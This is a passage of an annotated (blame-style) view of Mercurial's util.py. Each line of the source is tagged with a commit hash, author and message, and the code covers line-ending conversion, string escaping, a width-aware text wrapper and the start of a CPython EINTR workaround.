2366 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2367
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2368 def tolf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2369 return _eolre.sub('\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2370
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2371 def tocrlf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2372 return _eolre.sub('\r\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents: 31725
diff changeset
2373
31780
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2374 if pycompat.oslinesep == '\r\n':
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2375 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2376 fromnativeeol = tolf
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2377 else:
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2378 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2379 fromnativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents: 31779
diff changeset
2380
31460
53865692a354 util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31458
diff changeset
2381 def escapestr(s):
31462
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31460
diff changeset
2382 # call underlying function of s.encode('string_escape') directly for
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31460
diff changeset
2383 # Python 3 compatibility
3b7a6941a6ef py3: call codecs.escape_encode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31460
diff changeset
2384 return codecs.escape_encode(s)[0]
31460
53865692a354 util: wrap s.encode('string_escape') call for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31458
diff changeset
2385
31491
afb335353d28 util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31474
diff changeset
2386 def unescapestr(s):
31492
cad95575dc46 py3: call codecs.escape_decode() directly
Yuya Nishihara <yuya@tcha.org>
parents: 31491
diff changeset
2387 return codecs.escape_decode(s)[0]
31491
afb335353d28 util: wrap s.decode('string_escape') calls for future py3 compatibility
Yuya Nishihara <yuya@tcha.org>
parents: 31474
diff changeset
2388
33708
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2389 def forcebytestr(obj):
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2390 """Portably format an arbitrary object (e.g. exception) into a byte
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2391 string."""
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2392 try:
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2393 return pycompat.bytestr(obj)
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2394 except UnicodeEncodeError:
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2395 # non-ascii string, may be lossy
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2396 return pycompat.bytestr(encoding.strtolocal(str(obj)))
1d5e497c08b3 py3: convert arbitrary exception object to byte string more reliably
Yuya Nishihara <yuya@tcha.org>
parents: 33691
diff changeset
2397
5291
23651848d638 extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents: 5213
diff changeset
2398 def uirepr(s):
23651848d638 extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents: 5213
diff changeset
2399 # Avoid double backslash in Windows path repr()
23651848d638 extdiff: avoid repr() doubling paths backslashes under Windows
Patrick Mezard <pmezard@gmail.com>
parents: 5213
diff changeset
2400 return repr(s).replace('\\\\', '\\')
7547
4949729ee9ee python implementation of diffstat
Alexander Solovyov <piranha@piranha.org.ua>
parents: 7537
diff changeset
2401
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2402 # delay import of textwrap
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2403 def MBTextWrapper(**kwargs):
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2404 class tw(textwrap.TextWrapper):
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2405 """
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2406 Extend TextWrapper for width-awareness.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2407
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2408 Neither number of 'bytes' in any encoding nor 'characters' is
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2409 appropriate to calculate terminal columns for specified string.
12957
9f2ac318b92e util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents: 12938
diff changeset
2410
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2411 Original TextWrapper implementation uses built-in 'len()' directly,
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2412 so overriding is needed to use width information of each characters.
12957
9f2ac318b92e util: clarify purpose of MBTextWrapper class
Nicolas Dumazet <nicdumz.commits@gmail.com>
parents: 12938
diff changeset
2413
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2414 In addition, characters classified into 'ambiguous' width are
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
2415 treated as wide in East Asian area, but as narrow in other.
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2416
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2417 This requires use decision to determine width of such characters.
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2418 """
15065
24a6c3f903bb util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents: 15024
diff changeset
2419 def _cutdown(self, ucstr, space_left):
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2420 l = 0
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2421 colwidth = encoding.ucolwidth
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2422 for i in xrange(len(ucstr)):
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2423 l += colwidth(ucstr[i])
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2424 if space_left < l:
15065
24a6c3f903bb util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents: 15024
diff changeset
2425 return (ucstr[:i], ucstr[i:])
24a6c3f903bb util: wrap lines with multi-byte characters correctly (issue2943)
Mads Kiilerich <mads@kiilerich.com>
parents: 15024
diff changeset
2426 return ucstr, ''
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2427
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2428 # overriding of base class
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2429 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2430 space_left = max(width - cur_len, 1)
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2431
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2432 if self.break_long_words:
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2433 cut, res = self._cutdown(reversed_chunks[-1], space_left)
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2434 cur_line.append(cut)
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2435 reversed_chunks[-1] = res
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2436 elif not cur_line:
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2437 cur_line.append(reversed_chunks.pop())
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2438
26201
c5b2074ae8c0 util: capitalize Python in MBTextWrapper._wrap_chunks comment
timeless@mozdev.org
parents: 26126
diff changeset
2439 # this overriding code is imported from TextWrapper of Python 2.6
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2440 # to calculate columns of string by 'encoding.ucolwidth()'
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2441 def _wrap_chunks(self, chunks):
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2442 colwidth = encoding.ucolwidth
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2443
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2444 lines = []
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2445 if self.width <= 0:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2446 raise ValueError("invalid width %r (must be > 0)" % self.width)
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2447
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2448 # Arrange in reverse order so items can be efficiently popped
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2449 # from a stack of chucks.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2450 chunks.reverse()
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2451
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2452 while chunks:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2453
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2454 # Start the list of chunks that will make up the current line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2455 # cur_len is just the length of all the chunks in cur_line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2456 cur_line = []
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2457 cur_len = 0
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2458
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2459 # Figure out which static string will prefix this line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2460 if lines:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2461 indent = self.subsequent_indent
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2462 else:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2463 indent = self.initial_indent
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2464
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2465 # Maximum width for this line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2466 width = self.width - len(indent)
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2467
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2468 # First chunk on line is whitespace -- drop it, unless this
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
2469 # is the very beginning of the text (i.e. no lines started yet).
32560
47ce079b1afa util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents: 32496
diff changeset
2470 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2471 del chunks[-1]
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2472
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2473 while chunks:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2474 l = colwidth(chunks[-1])
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2475
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2476 # Can at least squeeze this chunk onto the current line.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2477 if cur_len + l <= width:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2478 cur_line.append(chunks.pop())
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2479 cur_len += l
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2480
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2481 # Nope, this line is full.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2482 else:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2483 break
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2484
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2485 # The current line is full, and the next chunk is too big to
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2486 # fit on *any* line (not just this one).
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2487 if chunks and colwidth(chunks[-1]) > width:
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2488 self._handle_long_word(chunks, cur_line, cur_len, width)
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2489
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2490 # If the last chunk on this line is all whitespace, drop it.
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2491 if (self.drop_whitespace and
32560
47ce079b1afa util: look for empty-sysstr instead of empty-bytesstr in textwrap code
Augie Fackler <raf@durin42.com>
parents: 32496
diff changeset
2492 cur_line and cur_line[-1].strip() == r''):
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2493 del cur_line[-1]
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2494
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2495 # Convert current line back to a string and store it in list
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2496 # of all lines (return value).
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2497 if cur_line:
32579
3b8155305fbe util: use sysstr.join instead of bytes.join in textwrap wrapper
Augie Fackler <raf@durin42.com>
parents: 32560
diff changeset
2498 lines.append(indent + r''.join(cur_line))
15066
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2499
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2500 return lines
24efa83d81cb i18n: calculate terminal columns by width information of each characters
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15065
diff changeset
2501
13316
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2502 global MBTextWrapper
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2503 MBTextWrapper = tw
d119403fd266 util: delay loading of textwrap
Matt Mackall <mpm@selenic.com>
parents: 13313
diff changeset
2504 return tw(**kwargs)
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2505
12698
7aef77e74cf3 util: make wrap() require a width argument
Matt Mackall <mpm@selenic.com>
parents: 12689
diff changeset
2506 def wrap(line, width, initindent='', hangindent=''):
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2507 maxindent = max(len(hangindent), len(initindent))
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2508 if width <= maxindent:
9417
4c3fb45123e5 util, minirst: do not crash with COLUMNS=0
Martin Geisler <mg@lazybytes.net>
parents: 9397
diff changeset
2509 # adjust for weird terminal size
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2510 width = max(78, maxindent + 1)
31347
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2511 line = line.decode(pycompat.sysstr(encoding.encoding),
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2512 pycompat.sysstr(encoding.encodingmode))
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2513 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2514 pycompat.sysstr(encoding.encodingmode))
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2515 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2516 pycompat.sysstr(encoding.encodingmode))
11297
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2517 wrapper = MBTextWrapper(width=width,
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2518 initial_indent=initindent,
d320e70442a5 replace Python standard textwrap by MBCS sensitive one for i18n text
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 11256
diff changeset
2519 subsequent_indent=hangindent)
31347
a9a28ca17615 util: pass encoding.[encoding|encodingmode] as unicodes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31324
diff changeset
2520 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
8938
9b8c9266c59d commands: wrap short descriptions in 'hg help'
Martin Geisler <mg@lazybytes.net>
parents: 8785
diff changeset
2521
30428
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2522 if (pyplatform.python_implementation() == 'CPython' and
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2523 sys.version_info < (3, 0)):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2524 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2525 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2526 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2527 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2528 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2529 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2530 # fp.__iter__ | buggy | buggy | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2531 # fp.read* | buggy | okay [1] | okay
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2532 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2533 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2534 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2535 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2536 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2537 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2538 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2539 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2540 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2541 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2542 #
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2543 # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2544 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2545 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2546 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2547 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents: 30427
diff changeset
2548 if sys.version_info >= (2, 7, 4):
